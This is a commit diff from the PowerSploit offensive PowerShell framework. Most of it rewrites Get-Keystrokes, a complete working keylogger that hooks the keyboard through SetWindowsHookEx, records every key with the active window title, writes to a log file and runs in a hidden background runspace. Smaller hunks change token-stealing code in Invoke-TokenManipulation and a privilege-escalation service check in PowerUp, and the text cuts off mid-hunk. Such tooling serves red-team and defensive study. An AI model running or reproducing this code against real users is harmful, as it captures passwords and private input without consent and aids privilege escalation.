aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Exfiltration/Get-Keystrokes.ps1528
-rw-r--r--Exfiltration/Invoke-TokenManipulation.ps13
-rw-r--r--Privesc/PowerUp.ps1119
-rw-r--r--Tests/Exfiltration.tests.ps154
-rw-r--r--Tests/Privesc.tests.ps1131
5 files changed, 573 insertions, 262 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index d040589..47761b9 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -1,11 +1,12 @@
function Get-Keystrokes {
<#
.SYNOPSIS
-
+
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
- Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
+ Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
+ Revised By: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@@ -14,13 +15,13 @@ function Get-Keystrokes {
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
-.PARAMETER CollectionInterval
+.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
-.PARAMETER PollingInterval
+.PARAMETER PassThru
- Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
+ Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
@@ -28,234 +29,349 @@ function Get-Keystrokes {
.EXAMPLE
- Get-Keystrokes -CollectionInterval 20
-
-.EXAMPLE
-
- Get-Keystrokes -PollingInterval 35
-
+ Get-Keystrokes -Timeout 20
+
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
+ https://github.com/secabstraction
#>
- [CmdletBinding()] Param (
+ [CmdletBinding()]
+ Param (
[Parameter(Position = 0)]
- [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
- [String]
- $LogPath = "$($Env:TEMP)\key.log",
+ [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
+ [String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
- [UInt32]
- $CollectionInterval,
+ [Double]$Timeout,
- [Parameter(Position = 2)]
- [Int32]
- $PollingInterval = 40
+ [Parameter()]
+ [Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
- Write-Verbose "Logging keystrokes to $LogPath"
+ try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
+ catch { throw $_ }
+
+ $Script = {
+ Param (
+ [Parameter(Position = 0)]
+ [String]$LogPath,
+
+ [Parameter(Position = 1)]
+ [Double]$Timeout
+ )
+
+ function local:Get-DelegateType {
+ Param (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ $TypeBuilder.CreateType()
+ }
+ function local:Get-ProcAddress {
+ Param (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
- $Initilizer = {
- $LogPath = 'REPLACEME'
+ #region Imports
+
+ [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
+
+ # SetWindowsHookEx
+ $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
+ $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
+ $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
+
+ # CallNextHookEx
+ $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
+ $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
+ $CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
+
+ # UnhookWindowsHookEx
+ $UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
+ $UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
+ $UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
+
+ # PeekMessage
+ $PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
+ $PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
+ $PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
+
+ # GetAsyncKeyState
+ $GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
+ $GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
+ $GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
+
+ # GetForegroundWindow
+ $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
+ $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
+ $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
+
+ # GetWindowText
+ $GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
+ $GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
+ $GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
+
+ # GetModuleHandle
+ $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
+ $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
+ $GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
+
+ #endregion Imports
- '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
+ $CallbackScript = {
+ Param (
+ [Parameter()]
+ [Int32]$Code,
- function KeyLog {
- [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
+ [Parameter()]
+ [IntPtr]$wParam,
- try
- {
- $ImportDll = [User32]
- }
- catch
- {
- $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
- $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
- $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
-
- $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
- $FieldArray = [Reflection.FieldInfo[]] @(
- [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
- [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
- [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
- [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
- [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
- [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
- )
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
- $FieldValueArray = [Object[]] @(
- 'GetAsyncKeyState',
- $True,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
- $FieldValueArray = [Object[]] @(
- 'GetKeyboardState',
- $True,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
- $FieldValueArray = [Object[]] @(
- 'MapVirtualKey',
- $False,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
- [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
- $FieldValueArray = [Object[]] @(
- 'ToUnicode',
- $False,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
- $FieldValueArray = [Object[]] @(
- 'GetForegroundWindow',
- $True,
- $False,
- $True,
- [Runtime.InteropServices.CallingConvention]::Winapi,
- [Runtime.InteropServices.CharSet]::Auto
- )
- $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
- $PInvokeMethod.SetCustomAttribute($CustomAttribute)
-
- $ImportDll = $TypeBuilder.CreateType()
- }
+ [Parameter()]
+ [IntPtr]$lParam
+ )
+
+ $Keys = [Windows.Forms.Keys]
+
+ $MsgType = $wParam.ToInt32()
+
+ # Process WM_KEYDOWN & WM_SYSKEYDOWN messages
+ if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
+
+ $hWindow = $GetForegroundWindow.Invoke()
- Start-Sleep -Milliseconds $PollingInterval
-
- try
- {
-
- #loop through typeable characters to see which is pressed
- for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
- {
- $VirtualKey = $TypeableChar
- $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
-
- #if the key is pressed
- if (($KeyResult -band 0x8000) -eq 0x8000)
- {
-
- #check for keys not mapped by virtual keyboard
- $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
- $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
- $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
- $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
- $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
- $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
- $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
- $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
- $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
- $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
- $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
- $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
- $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
- $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
- $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
- $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
- $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
-
- if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
- if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
- if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
- if ($TabKey) {$LogOutput += '[Tab]'}
- if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
- if ($DeleteKey) {$LogOutput += '[Delete]'}
- if ($EnterKey) {$LogOutput += '[Enter]'}
- if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
- if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
- if ($RightArrow) {$LogOutput += '[Right Arrow]'}
- if ($UpArrow) {$LogOutput += '[Up Arrow]'}
- if ($DownArrow) {$LogOutput += '[Down Arrow]'}
- if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
- if ($RightMouse) {$LogOutput += '[Right Mouse]'}
-
- #check for capslock
- if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
-
- $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
- $KeyboardState = New-Object Byte[] 256
- $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
-
- #create a stringbuilder object
- $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
- $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
-
- #convert typed characters
- if ($UnicodeKey -gt 0) {
- $TypedCharacter = $StringBuilder.ToString()
- $LogOutput += ('['+ $TypedCharacter +']')
- }
-
- #get the title of the foreground window
- $TopWindow = $ImportDll::GetForegroundWindow()
- $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
-
- #get the current DTG
- $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
-
- #Create a custom object to store results
- $ObjectProperties = @{'Key Typed' = $LogOutput;
- 'Time' = $TimeStamp;
- 'Window Title' = $WindowTitle}
- $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
-
- # Stupid hack since Export-CSV doesn't have an append switch in PSv2
- $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
-
- #return results
- Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
+ $ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
+ if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
+ else { $Shift = $false }
+ $Caps = [Console]::CapsLock
+
+ # Read virtual-key from buffer
+ $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
+
+ # Parse virtual-key
+ if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
+ if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
+ else { $Key = $vKey.ToString().ToLower() }
+ }
+ elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
+ switch ($vKey.value__) {
+ 96 { $Key = '0' }
+ 97 { $Key = '1' }
+ 98 { $Key = '2' }
+ 99 { $Key = '3' }
+ 100 { $Key = '4' }
+ 101 { $Key = '5' }
+ 102 { $Key = '6' }
+ 103 { $Key = '7' }
+ 104 { $Key = '8' }
+ 105 { $Key = '9' }
+ 106 { $Key = "*" }
+ 107 { $Key = "+" }
+ 108 { $Key = "|" }
+ 109 { $Key = "-" }
+ 110 { $Key = "." }
+ 111 { $Key = "/" }
+ }
+ }
+ elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
+ if ($Shift) {
+ switch ($vKey.value__) { # Shiftable characters
+ 48 { $Key = ')' }
+ 49 { $Key = '!' }
+ 50 { $Key = '@' }
+ 51 { $Key = '#' }
+ 52 { $Key = '$' }
+ 53 { $Key = '%' }
+ 54 { $Key = '^' }
+ 55 { $Key = '&' }
+ 56 { $Key = '*' }
+ 57 { $Key = '(' }
+ 186 { $Key = ':' }
+ 187 { $Key = '+' }
+ 188 { $Key = '<' }
+ 189 { $Key = '_' }
+ 190 { $Key = '>' }
+ 191 { $Key = '?' }
+ 192 { $Key = '~' }
+ 219 { $Key = '{' }
+ 220 { $Key = '|' }
+ 221 { $Key = '}' }
+ 222 { $Key = '<Double Quotes>' }
+ }
+ }
+ else {
+ switch ($vKey.value__) {
+ 48 { $Key = '0' }
+ 49 { $Key = '1' }
+ 50 { $Key = '2' }
+ 51 { $Key = '3' }
+ 52 { $Key = '4' }
+ 53 { $Key = '5' }
+ 54 { $Key = '6' }
+ 55 { $Key = '7' }
+ 56 { $Key = '8' }
+ 57 { $Key = '9' }
+ 186 { $Key = ';' }
+ 187 { $Key = '=' }
+ 188 { $Key = ',' }
+ 189 { $Key = '-' }
+ 190 { $Key = '.' }
+ 191 { $Key = '/' }
+ 192 { $Key = '`' }
+ 219 { $Key = '[' }
+ 220 { $Key = '\' }
+ 221 { $Key = ']' }
+ 222 { $Key = '<Single Quote>' }
}
}
}
- catch {}
+ else {
+ switch ($vKey) {
+ $Keys::F1 { $Key = '<F1>' }
+ $Keys::F2 { $Key = '<F2>' }
+ $Keys::F3 { $Key = '<F3>' }
+ $Keys::F4 { $Key = '<F4>' }
+ $Keys::F5 { $Key = '<F5>' }
+ $Keys::F6 { $Key = '<F6>' }
+ $Keys::F7 { $Key = '<F7>' }
+ $Keys::F8 { $Key = '<F8>' }
+ $Keys::F9 { $Key = '<F9>' }
+ $Keys::F10 { $Key = '<F10>' }
+ $Keys::F11 { $Key = '<F11>' }
+ $Keys::F12 { $Key = '<F12>' }
+
+ $Keys::Snapshot { $Key = '<Print Screen>' }
+ $Keys::Scroll { $Key = '<Scroll Lock>' }
+ $Keys::Pause { $Key = '<Pause/Break>' }
+ $Keys::Insert { $Key = '<Insert>' }
+ $Keys::Home { $Key = '<Home>' }
+ $Keys::Delete { $Key = '<Delete>' }
+ $Keys::End { $Key = '<End>' }
+ $Keys::Prior { $Key = '<Page Up>' }
+ $Keys::Next { $Key = '<Page Down>' }
+ $Keys::Escape { $Key = '<Esc>' }
+ $Keys::NumLock { $Key = '<Num Lock>' }
+ $Keys::Capital { $Key = '<Caps Lock>' }
+ $Keys::Tab { $Key = '<Tab>' }
+ $Keys::Back { $Key = '<Backspace>' }
+ $Keys::Enter { $Key = '<Enter>' }
+ $Keys::Space { $Key = '< >' }
+ $Keys::Left { $Key = '<Left>' }
+ $Keys::Up { $Key = '<Up>' }
+ $Keys::Right { $Key = '<Right>' }
+ $Keys::Down { $Key = '<Down>' }
+ $Keys::LMenu { $Key = '<Alt>' }
+ $Keys::RMenu { $Key = '<Alt>' }
+ $Keys::LWin { $Key = '<Windows Key>' }
+ $Keys::RWin { $Key = '<Windows Key>' }
+ $Keys::LShiftKey { $Key = '<Shift>' }
+ $Keys::RShiftKey { $Key = '<Shift>' }
+ $Keys::LControlKey { $Key = '<Ctrl>' }
+ $Keys::RControlKey { $Key = '<Ctrl>' }
+ }
+ }
+
+ # Get foreground window's title
+ $Title = New-Object Text.Stringbuilder 256
+ $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
+
+ # Define object properties
+ $Props = @{
+ Key = $Key
+ Time = [DateTime]::Now
+ Window = $Title.ToString()
+ }
+
+ $obj = New-Object psobject -Property $Props
+
+ # Stupid hack since Export-CSV doesn't have an append switch in PSv2
+ $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
+
+ #return results
+ Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
+ return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
- $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
+ # Cast scriptblock as LowLevelKeyboardProc callback
+ $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
+ $Callback = $CallbackScript -as $Delegate
+
+ # Get handle to PowerShell for hook
+ $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
+ $ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
- Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
+ # Set WM_KEYBOARD_LL hook
+ $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
+
+ $Stopwatch = [Diagnostics.Stopwatch]::StartNew()
- if ($PSBoundParameters['CollectionInterval'])
- {
- $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
+ while ($true) {
+ if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
+ $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
+ Start-Sleep -Milliseconds 10
+ }
- Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
- Stop-Job -Name Keylogger
- Unregister-Event -SourceIdentifier ElapsedAction
- $Sender.Stop()
- } | Out-Null
+ $Stopwatch.Stop()
+
+ # Remove the hook
+ $UnhookWindowsHookEx.Invoke($Hook)
}
-}
+ # Setup KeyLogger's runspace
+ $PowerShell = [PowerShell]::Create()
+ [void]$PowerShell.AddScript($Script)
+ [void]$PowerShell.AddArgument($LogPath)
+ if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
+
+ # Start KeyLogger
+ [void]$PowerShell.BeginInvoke()
+
+ if ($PassThru.IsPresent) { return $PowerShell }
+} \ No newline at end of file
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1
index 3a61da8..ea30952 100644
--- a/Exfiltration/Invoke-TokenManipulation.ps1
+++ b/Exfiltration/Invoke-TokenManipulation.ps1
@@ -1685,7 +1685,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
- $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"}
+ [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
+ $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 0661122..3f6be9f 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -122,8 +122,7 @@ function Test-ServiceDaclPermission {
# check if sc.exe exists
if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){
- Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe"
- return $False
+ throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found"
}
$ServiceAccessFlags = @{
@@ -151,68 +150,60 @@ function Test-ServiceDaclPermission {
# make sure we got a result back
if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
+ throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine"
}
- try {
- # retrieve DACL from sc.exe
- $Result = sc.exe sdshow $TargetService.Name | where {$_}
+ # retrieve DACL from sc.exe (only possible if 'RC' DACL is set)
+ $Result = sc.exe sdshow $TargetService.Name | where {$_}
- if ($Result -like "*OpenService FAILED*"){
- Write-Warning "[!] Access to service $($TargetService.Name) denied"
- return $False
- }
+ if ($Result -like "*OpenService FAILED*"){
+ throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'"
+ }
- $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
+ $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
- # populate a list of group SIDs that the current user is a member of
- $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
+ # populate a list of group SIDs that the current user is a member of
+ $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
- # add to the list the SID of the current user
- $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+ # add to the list the SID of the current user
+ $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
- ForEach ($Sid in $Sids){
- ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
-
- # check if the group/user SID is included in the ACE
- if ($Sid -eq $Ace.SecurityIdentifier){
-
- # convert the AccessMask to a service DACL string
- $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
- if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
- $_
- }
- }) -join ""
-
- # convert the input DACL to an array
- $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
-
- # counter to check how many DACL permissions were found
- $MatchedPermissions = 0
+ ForEach ($Sid in $Sids){
+ ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
+
+ # check if the group/user SID is included in the ACE
+ if ($Sid -eq $Ace.SecurityIdentifier){
- # check if each of the permissions exists
- ForEach ($DaclPermission in $DaclArray){
- if ($DaclString.Contains($DaclPermission.ToUpper())){
- $MatchedPermissions += 1
- }
- else{
- break
- }
+ # convert the AccessMask to a service DACL string
+ $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
+ if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
+ $_
}
- # found all permissions - success
- if ($MatchedPermissions -eq $DaclArray.Count){
- return $True
+ }) -join ""
+
+ # convert the input DACL to an array
+ $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
+
+ # counter to check how many DACL permissions were found
+ $MatchedPermissions = 0
+
+ # check if each of the permissions exists
+ ForEach ($DaclPermission in $DaclArray){
+ if ($DaclString.Contains($DaclPermission.ToUpper())){
+ $MatchedPermissions += 1
}
- }
- }
+ else{
+ break
+ }
+ }
+ # found all permissions - success
+ if ($MatchedPermissions -eq $DaclArray.Count){
+ return $True
+ }
+ }
}
- return $False
- }
- catch{
